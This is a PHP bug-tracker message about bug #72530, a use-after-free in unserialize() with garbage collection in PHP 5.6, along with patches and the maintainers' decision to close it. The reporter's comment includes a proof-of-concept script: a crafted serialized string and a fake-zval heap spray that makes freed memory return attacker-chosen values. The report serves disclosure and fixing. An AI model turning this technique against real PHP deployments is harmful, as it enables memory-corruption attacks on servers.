Bug #72530 [Opn]: Use After Free in unserialize() with GC

From: Date: Sun, 01 Jan 2017 18:47:12 +0000
Subject: Bug #72530 [Opn]: Use After Free in unserialize() with GC
References: 1  Groups: php.bugs 
Request: Send a blank email to php-bugs+get-206288@lists.php.net to get a copy of this message
Edit report at https://bugs.php.net/bug.php?id=72530&edit=1 ID: 72530 Updated by: nikic@php.net Reported by: taoguangchen at icloud dot com Summary: Use After Free in unserialize() with GC Status: Open Type: Bug Package: *General Issues PHP Version: 5.6.23 Block user comment: N Private report: N New Comment: In PHP 7.0+ this results in: array(1) { [0]=> object(ryat)#1 (2) { ["ryat"]=> array(1) { [0]=> *RECURSION* } ["chtg"]=> &array(1) { [0]=> *RECURSION* } } } I believe this output is correct, as the following code (to which the unserialize should roughly correspond) has the same output: $a = []; $a[0] = 1; $o = new ryat; $o->ryat =& $a[1]; $o->chtg = 2; $a[1] = [$o]; unset($a[1]); $a[1] = 3; $a[2] =& $o->chtg; unset($o); gc_collect_cycles(); var_dump($a[2]); This also shows that the issue is not related to unserialize(), but rather to GC with certain destructors. The GC problem has been fixed in 7.0 (and won't be fixed in 5.6), so closing here. Previous Comments: ------------------------------------------------------------------------ [2016-07-02 08:19:15] stas@php.net I don't think this qualifies as security issue - since you need specially crafter destructor. ------------------------------------------------------------------------ [2016-07-02 01:09:05] taoguangchen at icloud dot com update fix, and fix other bugs: ``` var_push_dtor_no_addref(var_hash, rval); } *rval = *rval_ref; + Z_ADDREF_PP(rval_ref); + if (Z_REFCOUNT_PP(rval) > 1) { + SEPARATE_ZVAL_IF_NOT_REF(rval); + } Z_ADDREF_PP(rval); Z_SET_ISREF_PP(rval); ``` ------------------------------------------------------------------------ [2016-07-01 16:26:35] taoguangchen at icloud dot com Description: ------------ Use After Free in unserialize() with GC PoC: ``` $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}'; $out = unserialize($poc); gc_collect_cycles(); $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; for ($i = 0; $i < 5; $i++) { $v[$i] = $fakezval.$i; } var_dump($out[2]); class ryat { var $ryat; var $chtg; function __destruct() { $this->chtg = $this->ryat; } } function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ``` Expected result: ``` int(2) ``` Actual result: ``` array(1) { [0]=> int(1122334455) } ``` Fix (This fix may break some test scripts): ``` "R:" iv ";" { ... *rval = *rval_ref; + if (Z_REFCOUNT_PP(rval_ref) == 1) { + Z_ADDREF_PP(rval_ref); + } Z_ADDREF_PP(rval); Z_SET_ISREF_PP(rval); ``` ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=72530&edit=1

« previous php.bugs (#206288) next »